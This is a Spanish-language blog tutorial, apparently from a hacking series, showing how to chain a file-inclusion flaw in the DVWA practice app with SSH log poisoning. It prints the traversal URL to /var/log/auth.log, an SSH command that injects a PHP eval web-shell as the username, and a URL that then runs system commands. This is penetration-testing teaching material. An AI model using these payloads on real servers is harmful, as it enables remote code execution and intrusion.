Inicio > MetaSploit, Networking, Services - Software, Web Applications > Herramientas para Hacking en Entornos de Red – Hacking con SSH – Parte XIII

Herramientas para Hacking en Entornos de Red – Hacking con SSH – Parte XIII

Vector de Ataque completo utilizando SSH y Aplicaciones Web Vulnerables.

Esta técnica consiste en la explotación de aplicaciones web con vulnerabilidades XSS y RFI, además de una mala practica en la configuración de un servicio SSH al establecer de forma inadecuada los permisos del fichero “auth.log” (aunque poco frecuente, personalmente he presenciado este tipo de fallos en entornos de “producción” y “altamente confiables”). Este vector de ataque consiste en primera instancia en la localización y explotación de vulnerabilidades RFI (Remote File Include) que dan la posibilidad a un atacante de incluir en el contexto de la navegación cualquier tipo de fichero almacenado en la maquina remota donde se encuentra en ejecución el servidor web, una vez localizada una vulnerabilidad de este tipo, se debe comprobar si es posible navegar por la estructura de directorios hacia el fichero de logs del servidor SSH, como se ha indicado en entradas anteriores el fichero de logs del servidor SSH es /var/log/auth.log en donde se almacenan todos los eventos relacionados con accesos remotos por medio de SSH entre otras cosas.

NOTA: Este vector de ataque en realidad puede ser aplicado en pocas ocasiones, ya que por defecto el fichero “auth.log” es propiedad del usuario “root” con lo cual no es frecuente encontrar que el fichero pueda ser leído o modificado por cualquiera, de todos modos es posible que esta situación ocurra en algunos entornos mal configurados/mantenidos por lo que también se considera valido explicar el procedimiento para encontrar y explotar este tipo de fallos en la configuración de un servicio SSH.

Para realizar una prueba de concepto que pueda ser tomada de ejemplo en este tópico, se intentará explicar paso a paso como se explotan de forma conjunta estas vulnerabilidades tomando como base una maquina configurada de forma incorrecta. Para mantener las cosas simples, se utiliza DVWA para realizar las pruebas correspondientes a vulnerabilidades RFI.

  1. En primer lugar, como se ha mencionado anteriormente, se utilizará DVWA para la prueba de concepto (ver entradas anteriores sobre DVWA aquí: https://thehackerway.wordpress.com/2011/05/10/pruebas-de-penetracion-sobre-plataformas-vulnerables/) En DVWA existe un apartado donde se pueden probar vulnerabilidades XSS y RFI, la ruta correspondiente a RFI es: http://localhost/dvwa/vulnerabilities/fi/?page=include.php
  2. Desde la ruta anterior correspondiente a vulnerabilidades RFI, intentar probar si se tiene acceso al fichero de log de openssh (evidentemente es necesario tener un servicio de SSH instalado en la maquina donde se ejecuta la aplicación Web), para esto basta con probar la siguiente ruta: http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/auth.log
    En el caso de que el fichero tenga los permisos correctamente establecidos, se enseñará un mensaje de “Acceso Denegado” sin embargo, en el caso de que dicho fichero permita accesos por parte de cualquier usuario (o el proceso del servidor web esta relacionado con un usuario con privilegios de root) se visualizará completamente en el contexto de la página.
  3. Después de lo anterior se procede a utilizar SSH para “envenenar” el fichero de logs del servicio, en este caso concreto, la aplicación web se encuentra escrita en PHP, por lo tanto será posible insertar un script malicioso que permita de algun modo consultar información relacionada con la maquina que hospeda la aplicación web vulnerable, aunque cabe anotar que cualquier aplicación que cumpla con las premisas anteriormente indicadas (es decir, que se encuentre mal configurado y sea vulnerable) puede ser atacada utilizando este mismo vector independiente del lenguaje de programación en la que se encuentre escrita.
  4. Para poder envenenar el fichero de logs con un script malicioso, es necesario saber que campos se escriben en él cuando se establece una conexión o simplemente cuando un cliente intenta acceder al servicio, en el caso de que un usuario sea invalido e intente acceder al servicio, el login de dicho usuario se traza en el fichero, en dicho campo, es posible ingresar el script malicioso, sin embargo, tiene una limitación y es que OpenSSH limita los nombres del login a 30 caracteres, con lo cual el script que intenté inyectar tiene que ser corto y conciso, por ejemplo, cuando se intenta ejecutar una conexión contra un servidor SSH con un usuario invalido del siguiente modo:
    >ssh usuario_invalido@192.168.1.34

    Se obtiene la siguiente entrada en el fichero de log debido a que el usuario “usuario_invalido” no existe en el sistema

    Aug 3 22:37:52 debian sshd[1919]: pam_unix(sshd:auth): check pass; user unknownAug 3 22:37:52 debian sshd[1919]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=galileo.localAug 3 22:37:53 debian sshd[1919]: Failed password for invalid user usuario_invalido from 192.168.1.33 port 41615 ssh2

    Como puede verse, el login “usuario_invalido” se ha escrito en el fichero de logs, sabiendo esto es posible inyectar en dicho campo el script malicioso

  5. Como se ha indicado anteriormente, el script tiene que ser muy concreto y no debe sobrepasar 30 caracteres ya que el servidor SSH solamente aceptará los 30 primeros caracteres que se han ingresado por consola, el script malicioso podria ser el siguiente:
    <pre><?php eval($_GET[“c”]);?>’@192.168.1.34

    El fragmento de código anterior tiene exactamente 30 caracteres con lo cual, el servidor SSH lo registrará completamente en el fichero de logs.

    La función “eval” de PHP toma una cadena de texto y si en dicha cadena existe código ejecutable, intentará parsearlo y posteriormente ejecutarlo utilizando PHP como lenguaje de interpretación, lo que se ajusta perfectamente a las necesidad implícita de que el script tiene que ser compacto, por otro lado se captura un parámetro que es enviado por medio del método de GET de PHP, el contenido de dicho parámetro será ingresado de forma manual por el atacante y contendrá cualquier tipo de instrucción que se desee ejecutar sobre el servidor web.

  6. Después de haber definido el script que se debe insertar en el fichero de log, simplemente basta con ejecutar desde la maquina del atacante (o desde cualquier maquina que tenga acceso al servicio SSH)
    >ssh ‘<pre><?php eval($_GET[“c”]);?>’@192.168.1.34

    Una vez declarada la invocación anterior, el servidor SSH solicitará el ingreso de la contraseña para el supuesto usuario, no se deberia ingresar para que de esta forma se generé una única entrada en el fichero de logs correspondiente al usuario invalido y no dos o mas correspondientes a los intentos fallidos por dicho usuario.

    Aug 3 23:09:12 debian sshd[1929]: Invalid user <pre><?php eval($_GET[“c”]);?> from 192.168.1.33Aug 3 23:09:12 debian sshd[1929]: Failed none for invalid user <pre><?php eval($_GET[“c”]);?> from 192.168.1.33 port 44814 ssh2Aug 3 23:09:16 debian sshd[1929]: pam_unix(sshd:auth): check pass; user unknownAug 3 23:09:16 debian sshd[1929]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=galileo.localAug 3 23:09:18 debian sshd[1929]: Failed password for invalid user <pre><?php eval($_GET[“c”]);?> from 192.168.1.33 port 44814 ssh2

    Como puede apreciarse en el fichero de logs anterior, el servicio SSH ha generado un registro correspondiente al usuario invalido y un registro relacionado con un usuario fallido para el usuario invalido, con esto el fichero de logs se encuentra correctamente envenenado y ahora es posible utilizarlo para inyectar el código en la aplicación web vulnerable.

  7. Desde la aplicación web se puede ingresar a la siguiente ruta con el fin de ejecutar el script inyectado anteriormente:
    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/auth.log&c=echo system(‘ls -l /’);exit;

    Con esto, el servidor web ejecutará un comando del sistema utilizando la consola por defecto utilizada en el mismo, en este caso se ejecuta el comando “ls -l /” y posteriormente se ejecuta “exit” para detener la lectura y ejecución del fichero de log.

Como ha podido apreciarse, se trata de la explotación de un conjunto de vulnerabilidades que utilizándolas todas de forma conjunta se pueden obtener resultados muy interesantes.

  1. Aún no hay comentarios.
  1. septiembre 7, 2011 en 4:25 pm

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: